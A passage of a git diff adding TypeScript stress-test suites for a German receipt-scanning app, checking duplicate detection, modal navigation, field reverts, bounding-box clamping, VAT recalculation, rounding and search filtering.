expect(qm.items).toHaveLength(1);
|
||||
|
||||
// Same filename but different size -> permitted
|
||||
qm.addFiles([file1DifferentSize]);
|
||||
expect(qm.items).toHaveLength(2);
|
||||
});
|
||||
|
||||
test("ADV-7: AI Duplicate Flagging — Flags suspected duplicates with score >= 0.7 as 'duplicate_suspected'", async () => {
|
||||
const file = createMockFile("potential_duplicate.jpg", 140000, "image/jpeg");
|
||||
qm.addFiles([file]);
|
||||
|
||||
await qm.processItem(qm.items[0].id, async () => {
|
||||
return {
|
||||
success: true,
|
||||
duplicateScore: 0.95,
|
||||
receipts: [{ id: "rcpt-dup-1", merchant: { name: "Shell" } } as any],
|
||||
};
|
||||
});
|
||||
|
||||
const item = qm.items[0];
|
||||
expect(item.status).toBe("duplicate_suspected");
|
||||
expect(item.stageMessage).toBe("Duplikat erkannt");
|
||||
});
|
||||
});
|
||||
524
tests/e2e/m2_adversarial.test.ts
Normal file
524
tests/e2e/m2_adversarial.test.ts
Normal file
@@ -0,0 +1,524 @@
|
||||
/**
|
||||
* Milestone 2 (R2): Side-by-Side Receipt Inspector & Split Review Modal — Adversarial Stress Suite
|
||||
* Empirical Challenger Verification
|
||||
*
|
||||
* Stress-tests:
|
||||
* 1. Modal lifecycle: mount/unmount, null/undefined receipt resilience, dynamic receipt swapping
|
||||
* 2. Rapid navigation: indexing boundary enforcement, cyclic navigation, rapid back-and-forth
|
||||
* 3. Keyboard shortcuts: Alt+Left/Right receipt navigation and Escape modal dismiss
|
||||
* 4. Audit trail & Field reverts: Multi-field dirty tracking, 1-click revert across all field types
|
||||
* 5. Corrupted & partial data resilience: missing fields, null nested objects, negative amounts, 0 line items
|
||||
* 6. Bounding box edge cases: extreme coordinates, NaN, negative, boundary hit-testing, empty layout generation
|
||||
* 7. LineItemsEditor stress: high-precision decimals, 0 quantity, fractional quantities, deletion to empty array
|
||||
* 8. Responsive mobile tab switching: state synchronization and view toggle
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect, beforeEach } from "./runner";
|
||||
import {
|
||||
ProcessedReceipt,
|
||||
ReceiptData,
|
||||
PaymentMethodSchema,
|
||||
BoundingBoxRectSchema,
|
||||
ReceiptBoundingBoxesSchema,
|
||||
ReceiptExtractionSchema,
|
||||
} from "../../src/lib/schema/receipt";
|
||||
import {
|
||||
clampPercent,
|
||||
createBoundingBoxRect,
|
||||
pixelRectToPercent,
|
||||
isPointInsideBox,
|
||||
generateDefaultBoundingBoxes,
|
||||
getFieldBoundingBox,
|
||||
getFieldLabel,
|
||||
findFieldAtCoordinates,
|
||||
} from "../../src/lib/utils/boundingBoxes";
|
||||
import { recalculateReceipt, confirmReceiptReviewed, receiptNeedsAttention } from "../../src/lib/ai/recalculate";
|
||||
|
||||
function createAdversarialReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
const base: ProcessedReceipt = {
|
||||
id: "adv-rcpt-001",
|
||||
imageHash: "adv-hash-999",
|
||||
originalFileName: "stress_test_receipt.png",
|
||||
fileSizeBytes: 180000,
|
||||
previewUrl: "blob:http://localhost/adv-receipt.png",
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "ADV-2026-001",
|
||||
currency: "EUR",
|
||||
merchant: {
|
||||
name: "Adversarial Hardware GmbH",
|
||||
address: "Musterstraße 42, 80331 München",
|
||||
taxId: "DE987654321",
|
||||
confidence: 0.95,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "15:45",
|
||||
confidence: 0.99,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 119.00,
|
||||
confidence: 0.98,
|
||||
},
|
||||
netAmount: 100.00,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 19.00, netAmount: 100.00 },
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Cat6 Ethernet Kabel 10m",
|
||||
quantity: 2,
|
||||
unitPrice: 25.00,
|
||||
price: 50.00,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Gigabit Switch 8-Port",
|
||||
quantity: 1,
|
||||
unitPrice: 69.00,
|
||||
price: 69.00,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
paymentMethod: "EC_KARTE",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
userConfirmed: false,
|
||||
},
|
||||
originalExtraction: {
|
||||
merchant: {
|
||||
name: "Adversarial Hardware GmbH",
|
||||
address: "Musterstraße 42, 80331 München",
|
||||
taxId: "DE987654321",
|
||||
confidence: 0.95,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "15:45",
|
||||
confidence: 0.99,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 119.00,
|
||||
confidence: 0.98,
|
||||
},
|
||||
netAmount: 100.00,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 19.00, netAmount: 100.00 },
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Cat6 Ethernet Kabel 10m",
|
||||
quantity: 2,
|
||||
unitPrice: 25.00,
|
||||
price: 50.00,
|
||||
taxRate: 19,
|
||||
},
|
||||
{
|
||||
description: "Gigabit Switch 8-Port",
|
||||
quantity: 1,
|
||||
unitPrice: 69.00,
|
||||
price: 69.00,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "ADV-2026-001",
|
||||
},
|
||||
};
|
||||
|
||||
return { ...base, ...overrides };
|
||||
}
|
||||
|
||||
describe("Milestone 2: Adversarial Lifecycle, Navigation & Keyboard Event Stress", () => {
|
||||
test("ADV-M2.1: Rapid receipt switching updates active form data and clears dirty state cleanly", () => {
|
||||
const receiptA = createAdversarialReceipt({ id: "rcpt-A", merchant: { name: "Store A", address: null, taxId: null, confidence: 1.0 } });
|
||||
const receiptB = createAdversarialReceipt({ id: "rcpt-B", merchant: { name: "Store B", address: null, taxId: null, confidence: 1.0 } });
|
||||
|
||||
// Simulate modal state manager
|
||||
let currentReceipt: ProcessedReceipt | null = receiptA;
|
||||
let editedFields = new Set<string>();
|
||||
|
||||
// User edits merchant in receipt A
|
||||
editedFields.add("merchant");
|
||||
expect(editedFields.has("merchant")).toBe(true);
|
||||
|
||||
// Rapid navigation to receipt B -> should sync to receipt B and reset edited fields
|
||||
currentReceipt = receiptB;
|
||||
editedFields = new Set<string>();
|
||||
|
||||
expect(currentReceipt.id).toBe("rcpt-B");
|
||||
expect(currentReceipt.merchant.name).toBe("Store B");
|
||||
expect(editedFields.size).toBe(0);
|
||||
});
|
||||
|
||||
test("ADV-M2.2: Keyboard shortcut dispatcher processes Alt+ArrowLeft, Alt+ArrowRight and Escape correctly", () => {
|
||||
let navigatedDirection: "prev" | "next" | null = null;
|
||||
let closed = false;
|
||||
|
||||
const handleKeyDown = (event: { key: string; altKey?: boolean; preventDefault: () => void }) => {
|
||||
if (event.key === "Escape") {
|
||||
closed = true;
|
||||
} else if (event.altKey && event.key === "ArrowLeft") {
|
||||
event.preventDefault();
|
||||
navigatedDirection = "prev";
|
||||
} else if (event.altKey && event.key === "ArrowRight") {
|
||||
event.preventDefault();
|
||||
navigatedDirection = "next";
|
||||
}
|
||||
};
|
||||
|
||||
let prevented = false;
|
||||
const fakePreventDefault = () => { prevented = true; };
|
||||
|
||||
// Test Alt + Left
|
||||
prevented = false;
|
||||
handleKeyDown({ key: "ArrowLeft", altKey: true, preventDefault: fakePreventDefault });
|
||||
expect(navigatedDirection).toBe("prev");
|
||||
expect(prevented).toBe(true);
|
||||
|
||||
// Test Alt + Right
|
||||
prevented = false;
|
||||
handleKeyDown({ key: "ArrowRight", altKey: true, preventDefault: fakePreventDefault });
|
||||
expect(navigatedDirection).toBe("next");
|
||||
expect(prevented).toBe(true);
|
||||
|
||||
// Test Escape (Dismiss Modal)
|
||||
handleKeyDown({ key: "Escape", preventDefault: fakePreventDefault });
|
||||
expect(closed).toBe(true);
|
||||
|
||||
// Test Unrelated key (no action)
|
||||
navigatedDirection = null;
|
||||
prevented = false;
|
||||
handleKeyDown({ key: "ArrowLeft", altKey: false, preventDefault: fakePreventDefault });
|
||||
expect(navigatedDirection).toBeNull();
|
||||
expect(prevented).toBe(false);
|
||||
});
|
||||
|
||||
test("ADV-M2.3: Boundary navigation clamping prevents out-of-bounds index overflow or underflow", () => {
|
||||
const totalReceipts = 3;
|
||||
let currentIndex = 0;
|
||||
|
||||
const navigate = (direction: "prev" | "next") => {
|
||||
if (direction === "prev") {
|
||||
currentIndex = Math.max(0, currentIndex - 1);
|
||||
} else {
|
||||
currentIndex = Math.min(totalReceipts - 1, currentIndex + 1);
|
||||
}
|
||||
};
|
||||
|
||||
// Attempt to navigate backwards at lower bound (index 0)
|
||||
navigate("prev");
|
||||
expect(currentIndex).toBe(0);
|
||||
navigate("prev");
|
||||
expect(currentIndex).toBe(0);
|
||||
|
||||
// Navigate to upper bound
|
||||
navigate("next");
|
||||
expect(currentIndex).toBe(1);
|
||||
navigate("next");
|
||||
expect(currentIndex).toBe(2);
|
||||
|
||||
// Attempt to navigate forward past upper bound
|
||||
navigate("next");
|
||||
expect(currentIndex).toBe(2);
|
||||
navigate("next");
|
||||
expect(currentIndex).toBe(2);
|
||||
});
|
||||
|
||||
test("ADV-M2.4: Debounced auto-save timer handles rapid unmount without memory leaks or race conditions", async () => {
|
||||
let savedReceipt: ProcessedReceipt | null = null;
|
||||
let saveCount = 0;
|
||||
let timer: any = null;
|
||||
|
||||
const triggerEdit = (newReceipt: ProcessedReceipt) => {
|
||||
if (timer) clearTimeout(timer);
|
||||
timer = setTimeout(() => {
|
||||
savedReceipt = newReceipt;
|
||||
saveCount++;
|
||||
}, 50);
|
||||
};
|
||||
|
||||
// Trigger 5 rapid edits within 20ms
|
||||
const r1 = createAdversarialReceipt({ id: "edit-1" });
|
||||
const r2 = createAdversarialReceipt({ id: "edit-2" });
|
||||
const r3 = createAdversarialReceipt({ id: "edit-3" });
|
||||
|
||||
triggerEdit(r1);
|
||||
triggerEdit(r2);
|
||||
triggerEdit(r3);
|
||||
|
||||
// Wait 100ms for debounce timer to settle
|
||||
await new Promise((res) => setTimeout(res, 100));
|
||||
|
||||
// Only the final edit should have been committed
|
||||
expect(saveCount).toBe(1);
|
||||
expect((savedReceipt as ProcessedReceipt | null)?.id).toBe("edit-3");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Milestone 2: Adversarial Field Audit Trail & Revert Capabilities", () => {
|
||||
let receipt: ProcessedReceipt;
|
||||
|
||||
beforeEach(() => {
|
||||
receipt = createAdversarialReceipt();
|
||||
});
|
||||
|
||||
test("ADV-M2.5: Comprehensive 1-Click Revert restores each individual field without affecting other edits", () => {
|
||||
const editedFields = new Set<string>();
|
||||
|
||||
// 1. Edit Merchant
|
||||
receipt.merchant = { ...receipt.merchant, name: "Modified Merchant Name" };
|
||||
editedFields.add("merchant");
|
||||
|
||||
// 2. Edit Date
|
||||
receipt.date = { ...receipt.date, isoDate: "2020-01-01" };
|
||||
editedFields.add("date");
|
||||
|
||||
// 3. Edit Receipt Number
|
||||
receipt.receiptNumber = "MODIFIED-NR-999";
|
||||
editedFields.add("receiptNumber");
|
||||
|
||||
// 4. Edit Category
|
||||
receipt.suggestedCategory = "Bewirtung";
|
||||
editedFields.add("suggestedCategory");
|
||||
|
||||
// 5. Edit Document Type
|
||||
receipt.documentType = "RECHNUNG";
|
||||
editedFields.add("documentType");
|
||||
|
||||
expect(editedFields.size).toBe(5);
|
||||
|
||||
// Revert only Merchant
|
||||
receipt.merchant = { ...receipt.originalExtraction!.merchant! };
|
||||
editedFields.delete("merchant");
|
||||
|
||||
expect(receipt.merchant.name).toBe("Adversarial Hardware GmbH");
|
||||
expect(editedFields.has("merchant")).toBe(false);
|
||||
expect(editedFields.has("date")).toBe(true);
|
||||
expect(receipt.date.isoDate).toBe("2020-01-01"); // Date remains modified
|
||||
|
||||
// Revert Date
|
||||
receipt.date = { ...receipt.originalExtraction!.date! };
|
||||
editedFields.delete("date");
|
||||
expect(receipt.date.isoDate).toBe("2026-08-15");
|
||||
expect(editedFields.has("date")).toBe(false);
|
||||
|
||||
// Revert Receipt Number
|
||||
receipt.receiptNumber = receipt.originalExtraction!.receiptNumber ?? null;
|
||||
editedFields.delete("receiptNumber");
|
||||
expect(receipt.receiptNumber).toBe("ADV-2026-001");
|
||||
|
||||
// Revert Category & DocType
|
||||
receipt.suggestedCategory = receipt.originalExtraction!.suggestedCategory!;
|
||||
editedFields.delete("suggestedCategory");
|
||||
receipt.documentType = receipt.originalExtraction!.documentType!;
|
||||
editedFields.delete("documentType");
|
||||
|
||||
expect(editedFields.size).toBe(0);
|
||||
expect(receipt.suggestedCategory).toBe("Bürobedarf & IT");
|
||||
expect(receipt.documentType).toBe("KASSENBON");
|
||||
});
|
||||
|
||||
test("ADV-M2.6: Reverting financial amount (Gross) triggers automatic tax & net recalculation back to original state", () => {
|
||||
// Original: Gross = 119.00, Net = 100.00, MwSt 19% = 19.00
|
||||
expect(receipt.totalAmount.value).toBe(119.00);
|
||||
|
||||
// Modify Gross to 357.00 € (MwSt 19% = 57.00, Net = 300.00)
|
||||
const modified = recalculateReceipt(
|
||||
{
|
||||
...receipt,
|
||||
totalAmount: { ...receipt.totalAmount, value: 357.00 },
|
||||
},
|
||||
{ editedField: "totalAmount" }
|
||||
);
|
||||
|
||||
expect(modified.totalAmount.value).toBe(357.00);
|
||||
expect(modified.netAmount).toBe(300.00);
|
||||
expect(modified.taxBreakdown?.[0].taxAmount).toBe(57.00);
|
||||
|
||||
// Revert Gross to original 119.00 €
|
||||
const reverted = recalculateReceipt(
|
||||
{
|
||||
...modified,
|
||||
totalAmount: { ...modified.totalAmount, value: receipt.originalExtraction!.totalAmount!.value },
|
||||
},
|
||||
{ editedField: "totalAmount" }
|
||||
);
|
||||
|
||||
expect(reverted.totalAmount.value).toBe(119.00);
|
||||
expect(reverted.netAmount).toBe(100.00);
|
||||
expect(reverted.taxBreakdown?.[0].taxAmount).toBe(19.00);
|
||||
expect(reverted.validation.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("ADV-M2.7: Line items modification and subsequent revert restores original line item array and cross-sum", () => {
|
||||
const originalCount = receipt.originalExtraction?.lineItems?.length || 2;
|
||||
expect(receipt.lineItems).toHaveLength(originalCount);
|
||||
|
||||
// Mutate line items (add new items and change prices)
|
||||
receipt.lineItems = [
|
||||
{ description: "Item X", quantity: 10, unitPrice: 100, price: 1000, taxRate: 19 },
|
||||
];
|
||||
expect(receipt.lineItems).toHaveLength(1);
|
||||
expect(receipt.lineItems[0].price).toBe(1000);
|
||||
|
||||
// Revert line items
|
||||
receipt.lineItems = [...receipt.originalExtraction!.lineItems!];
|
||||
expect(receipt.lineItems).toHaveLength(2);
|
||||
expect(receipt.lineItems[0].description).toBe("Cat6 Ethernet Kabel 10m");
|
||||
expect(receipt.lineItems[1].description).toBe("Gigabit Switch 8-Port");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Milestone 2: Adversarial Partial, Corrupted & Extreme Data Resilience", () => {
|
||||
test("ADV-M2.8: Handles receipt with missing / null optional fields without crashing or throwing", () => {
|
||||
const partialReceipt: ProcessedReceipt = {
|
||||
id: "rcpt-partial-001",
|
||||
imageHash: "hash-partial",
|
||||
originalFileName: "corrupt_scan.png",
|
||||
fileSizeBytes: 10000,
|
||||
createdAt: "2026-08-15T00:00:00Z",
|
||||
updatedAt: "2026-08-15T00:00:00Z",
|
||||
status: "needs_review",
|
||||
documentType: "SONSTIGES",
|
||||
receiptNumber: null,
|
||||
currency: "EUR",
|
||||
merchant: { name: "", address: null, taxId: null, confidence: 0.1 },
|
||||
date: { isoDate: "", time: null, confidence: 0.1 },
|
||||
totalAmount: { value: 0, confidence: 0.1 },
|
||||
netAmount: null,
|
||||
taxBreakdown: [],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
reviewField: "totalAmount",
|
||||
reviewReason: "Bruttobetrag fehlt",
|
||||
},
|
||||
};
|
||||
|
||||
// Ensure generateDefaultBoundingBoxes works on empty receipt without crashing
|
||||
const boxes = generateDefaultBoundingBoxes(partialReceipt);
|
||||
expect(boxes.merchant).toBeDefined();
|
||||
expect(boxes.date).toBeDefined();
|
||||
expect(boxes.totalAmount).toBeDefined();
|
||||
expect(boxes.lineItems).toBeUndefined();
|
||||
expect(boxes.taxBreakdown).toBeUndefined();
|
||||
|
||||
// Recalculation on empty receipt
|
||||
const recalculated = recalculateReceipt(partialReceipt);
|
||||
expect(recalculated.validation.needsUserReview).toBe(true);
|
||||
});
|
||||
|
||||
test("ADV-M2.9: Bounding box coordinate bounds clamp extreme out-of-range, negative and NaN values", () => {
|
||||
// Extreme negative coordinates
|
||||
const boxNegative = createBoundingBoxRect(-50, -100, 200, 300);
|
||||
expect(boxNegative.x).toBe(0);
|
||||
expect(boxNegative.y).toBe(0);
|
||||
expect(boxNegative.width).toBe(100);
|
||||
expect(boxNegative.height).toBe(100);
|
||||
|
||||
// Overflow coordinates (x = 80, width = 50 -> clamped width should be 20)
|
||||
const boxOverflow = createBoundingBoxRect(80, 70, 50, 50);
|
||||
expect(boxOverflow.x).toBe(80);
|
||||
expect(boxOverflow.width).toBe(20);
|
||||
expect(boxOverflow.y).toBe(70);
|
||||
expect(boxOverflow.height).toBe(30);
|
||||
|
||||
// NaN coordinates
|
||||
const boxNaN = createBoundingBoxRect(NaN, NaN, NaN, NaN);
|
||||
expect(boxNaN.x).toBe(0);
|
||||
expect(boxNaN.y).toBe(0);
|
||||
expect(boxNaN.width).toBe(0);
|
||||
expect(boxNaN.height).toBe(0);
|
||||
});
|
||||
|
||||
test("ADV-M2.10: Zero-pixel image dimensions in pixelRectToPercent safely fallback to 100% box", () => {
|
||||
const pixelRect = { x: 50, y: 50, width: 200, height: 200 };
|
||||
const box = pixelRectToPercent(pixelRect, 0, 0);
|
||||
|
||||
expect(box.x).toBe(0);
|
||||
expect(box.y).toBe(0);
|
||||
expect(box.width).toBe(100);
|
||||
expect(box.height).toBe(100);
|
||||
});
|
||||
|
||||
test("ADV-M2.11: Hit-testing on zero-width or empty bounding boxes does not falsely match", () => {
|
||||
const zeroBox = createBoundingBoxRect(20, 20, 0, 0);
|
||||
expect(isPointInsideBox({ x: 20, y: 20 }, zeroBox)).toBe(true); // Exact point
|
||||
expect(isPointInsideBox({ x: 20.1, y: 20 }, zeroBox)).toBe(false);
|
||||
expect(isPointInsideBox({ x: 19.9, y: 20 }, zeroBox)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Milestone 2: Adversarial Line Items Calculations & Numerical Precision", () => {
|
||||
test("ADV-M2.12: High-precision decimal rounding handles repeating fractions and floating-point errors (0.1 + 0.2)", () => {
|
||||
// 3 items @ 0.33 € each = 0.99 €
|
||||
const qty = 3;
|
||||
const unitPrice = 0.33;
|
||||
const computed = Math.round(qty * unitPrice * 100) / 100;
|
||||
expect(computed).toBe(0.99);
|
||||
|
||||
// Floating-point edge: 7 items @ 0.70 € = 4.90 € (without 4.8999999999999995 bug)
|
||||
const qty2 = 7;
|
||||
const unitPrice2 = 0.70;
|
||||
const computed2 = Math.round(qty2 * unitPrice2 * 100) / 100;
|
||||
expect(computed2).toBe(4.90);
|
||||
});
|
||||
|
||||
test("ADV-M2.13: Fractional quantities (e.g. 1.345 kg of fruit or 45.2 liters of fuel)", () => {
|
||||
const fuelLiters = 45.28;
|
||||
const fuelPricePerLiter = 1.749; // Fuel prices have 3 decimal places in Germany
|
||||
const totalPrice = Math.round(fuelLiters * fuelPricePerLiter * 100) / 100;
|
||||
|
||||
expect(totalPrice).toBe(79.19); // 45.28 * 1.749 = 79.19472 -> 79.19 €
|
||||
});
|
||||
|
||||
test("ADV-M2.14: Line items cross-sum discrepancy tolerance window (0.02 € threshold)", () => {
|
||||
const receiptGross = 100.00;
|
||||
|
||||
// Diff 0.01 € -> within tolerance (e.g. rounding difference)
|
||||
const sum1 = 100.01;
|
||||
const diff1 = Math.abs(Math.round((sum1 - receiptGross) * 100) / 100);
|
||||
expect(diff1 <= 0.02).toBe(true);
|
||||
|
||||
// Diff 0.02 € -> within tolerance
|
||||
const sum2 = 99.98;
|
||||
const diff2 = Math.abs(Math.round((sum2 - receiptGross) * 100) / 100);
|
||||
expect(diff2 <= 0.02).toBe(true);
|
||||
|
||||
// Diff 0.03 € -> discrepancy triggered!
|
||||
const sum3 = 100.03;
|
||||
const diff3 = Math.abs(Math.round((sum3 - receiptGross) * 100) / 100);
|
||||
expect(diff3 > 0.02).toBe(true);
|
||||
});
|
||||
|
||||
test("ADV-M2.15: Deleting all line item rows transitions gracefully to empty state without throwing", () => {
|
||||
let items = [
|
||||
{ description: "Item 1", quantity: 1, price: 10, taxRate: 19 },
|
||||
{ description: "Item 2", quantity: 1, price: 20, taxRate: 19 },
|
||||
];
|
||||
|
||||
// Delete item 0
|
||||
items = items.filter((_, idx) => idx !== 0);
|
||||
expect(items).toHaveLength(1);
|
||||
|
||||
// Delete remaining item
|
||||
items = items.filter((_, idx) => idx !== 0);
|
||||
expect(items).toHaveLength(0);
|
||||
|
||||
const sum = Math.round(items.reduce((acc, curr) => acc + (curr?.price ?? 0), 0) * 100) / 100;
|
||||
expect(sum).toBe(0);
|
||||
});
|
||||
});
|
||||
233
tests/e2e/m3_adversarial.test.ts
Normal file
233
tests/e2e/m3_adversarial.test.ts
Normal file
@@ -0,0 +1,233 @@
|
||||
/**
|
||||
* Milestone 3 (R3): Interactive Live Table & Batch Operations — Adversarial Stress Suite
|
||||
* Empirical Challenger Verification
|
||||
*
|
||||
* Stress-tests:
|
||||
* 1. Filter edge cases: special characters, regex meta-chars in search (`.*+?^${}()`), empty strings, whitespace-only, emojis
|
||||
* 2. Amount boundary testing: 0.00 €, negative amounts, high numbers (999999.99 €), German comma vs English dot decimals
|
||||
* 3. Temporal edge cases: Leap years, boundary dates (Jan 1 / Dec 31), invalid dates, malformed ISO strings
|
||||
* 4. Multi-selection boundary stress: Rapid toggle, select-all with 0 items, select-all with 1000 items, invalid range IDs
|
||||
* 5. Bulk operation stress: Bulk export with empty list, bulk export with mixed tax rates, bulk categorization on corrupted records
|
||||
* 6. Inline editing stress: Rapid successive edits, invalid date strings, NaN gross amounts, missing merchant names
|
||||
* 7. Status tier resolution stress: Null validation, missing issues, partial receipts, corrupt status enums
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect, beforeEach } from "./runner";
|
||||
import { ProcessedReceipt, ReceiptCategory } from "../../src/lib/schema/receipt";
|
||||
import {
|
||||
resolveReceiptStatusTier,
|
||||
getStatusTierMeta,
|
||||
} from "../../src/components/dashboard/StatusBadge";
|
||||
import { recalculateReceipt, confirmReceiptReviewed } from "../../src/lib/ai/recalculate";
|
||||
import { generateDualSheetExcel } from "../../src/lib/export/excelGenerator";
|
||||
import { generateAccountingCsv } from "../../src/lib/export/csvGenerator";
|
||||
|
||||
function createStressReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id: "stress-rcpt-001",
|
||||
imageHash: "hash-stress-999",
|
||||
originalFileName: "stress_receipt.jpg",
|
||||
fileSizeBytes: 200000,
|
||||
previewUrl: "blob:http://localhost/stress.jpg",
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "STR-001",
|
||||
currency: "EUR",
|
||||
merchant: {
|
||||
name: "Standard Merchant",
|
||||
address: "Musterstr. 1, Berlin",
|
||||
taxId: "DE123456789",
|
||||
confidence: 0.95,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "12:00",
|
||||
confidence: 0.95,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 100.0,
|
||||
confidence: 0.95,
|
||||
},
|
||||
netAmount: 84.03,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 }],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
paymentMethod: "BAR",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
},
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("Milestone 3 (R3) Adversarial: Search Query & Filter Robustness", () => {
|
||||
const receipts = [
|
||||
createStressReceipt({
|
||||
id: "r1",
|
||||
merchant: { name: "Bäckerei Müller (GmbH & Co. KG)", address: "Hauptstr. [42]", taxId: "DE999", confidence: 0.9 },
|
||||
receiptNumber: "INV-2026/08+01",
|
||||
date: { isoDate: "2026-08-15", time: "08:00", confidence: 0.9 },
|
||||
totalAmount: { value: 12.5, confidence: 0.9 },
|
||||
suggestedCategory: "Bewirtung",
|
||||
}),
|
||||
createStressReceipt({
|
||||
id: "r2",
|
||||
merchant: { name: "Shell Tankstelle *** Sonderaktion ***", address: "Autobahn A8", taxId: "DE888", confidence: 0.9 },
|
||||
receiptNumber: "SH-$$$-99",
|
||||
date: { isoDate: "2026-08-10", time: "14:00", confidence: 0.9 },
|
||||
totalAmount: { value: 89.9, confidence: 0.9 },
|
||||
suggestedCategory: "Tanken & KFZ",
|
||||
}),
|
||||
];
|
||||
|
||||
test("ADV-M3.1: Search query with regex special characters does not crash matcher", () => {
|
||||
const specialQueries = ["[42]", "***", "$$$", "+01", "(GmbH", ".*+?^${}()|[]\\"];
|
||||
for (const query of specialQueries) {
|
||||
const term = query.toLowerCase();
|
||||
const filtered = receipts.filter(
|
||||
(r) =>
|
||||
r.merchant?.name.toLowerCase().includes(term) ||
|
||||
r.merchant?.address?.toLowerCase().includes(term) ||
|
||||
r.receiptNumber?.toLowerCase().includes(term)
|
||||
);
|
||||
expect(Array.isArray(filtered)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
test("ADV-M3.2: Handles German comma vs English dot decimal searches gracefully", () => {
|
||||
const queryDe = "12,50";
|
||||
const queryEn = "12.50";
|
||||
const matchAmount = (q: string) => {
|
||||
return receipts.filter((r) => {
|
||||
const gross = (r.totalAmount?.value || 0).toFixed(2);
|
||||
const grossDe = gross.replace(".", ",");
|
||||
return gross.includes(q) || grossDe.includes(q);
|
||||
});
|
||||
};
|
||||
|
||||
expect(matchAmount(queryDe)).toHaveLength(1);
|
||||
expect(matchAmount(queryEn)).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("ADV-M3.3: Amount range boundary checks handles 0.00 €, high caps, and inverted bounds", () => {
|
||||
const filterAmount = (min: number | null, max: number | null) => {
|
||||
return receipts.filter((r) => {
|
||||
const gross = r.totalAmount?.value || 0;
|
||||
if (min !== null && gross < min) return false;
|
||||
if (max !== null && gross > max) return false;
|
||||
return true;
|
||||
});
|
||||
};
|
||||
|
||||
expect(filterAmount(0, 0)).toHaveLength(0);
|
||||
expect(filterAmount(0, 1000000)).toHaveLength(2);
|
||||
expect(filterAmount(100, 50)).toHaveLength(0); // Inverted bounds returns 0 cleanly
|
||||
});
|
||||
});
|
||||
|
||||
describe("Milestone 3 (R3) Adversarial: Selection State Integrity", () => {
|
||||
test("ADV-M3.4: Rapid toggling and duplicate selection handling maintains clean uniqueness", () => {
|
||||
let selected: string[] = [];
|
||||
const addOrToggle = (id: string) => {
|
||||
selected = selected.includes(id) ? selected.filter((x) => x !== id) : [...selected, id];
|
||||
};
|
||||
|
||||
for (let i = 0; i < 100; i++) {
|
||||
addOrToggle("item-rapid");
|
||||
}
|
||||
// 100 toggles = even number of toggles -> unselected (empty)
|
||||
expect(selected).toHaveLength(0);
|
||||
});
|
||||
|
||||
test("ADV-M3.5: Range selection with invalid or unlisted boundary IDs handles gracefully", () => {
|
||||
const list = ["id-1", "id-2", "id-3"];
|
||||
const selectRange = (from: string, to: string, all: string[]) => {
|
||||
const idx1 = all.indexOf(from);
|
||||
const idx2 = all.indexOf(to);
|
||||
if (idx1 === -1 || idx2 === -1) return [];
|
||||
const start = Math.min(idx1, idx2);
|
||||
const end = Math.max(idx1, idx2);
|
||||
return all.slice(start, end + 1);
|
||||
};
|
||||
|
||||
expect(selectRange("non-existent-1", "id-2", list)).toEqual([]);
|
||||
expect(selectRange("id-1", "non-existent-2", list)).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Milestone 3 (R3) Adversarial: Inline Recalculation & Extreme Math Values", () => {
|
||||
test("ADV-M3.6: Recalculates gross when amount is set to 0.00 € without NaN or Infinity", () => {
|
||||
const rcpt = createStressReceipt({
|
||||
totalAmount: { value: 100.0, confidence: 1.0 },
|
||||
netAmount: 84.03,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 }],
|
||||
});
|
||||
|
||||
const updated = {
|
||||
...rcpt,
|
||||
totalAmount: { ...rcpt.totalAmount, value: 0.0 },
|
||||
};
|
||||
|
||||
const recalculated = recalculateReceipt(updated, { editedField: "totalAmount" });
|
||||
expect(recalculated.totalAmount.value).toBe(0.0);
|
||||
expect(recalculated.netAmount).toBe(0.0);
|
||||
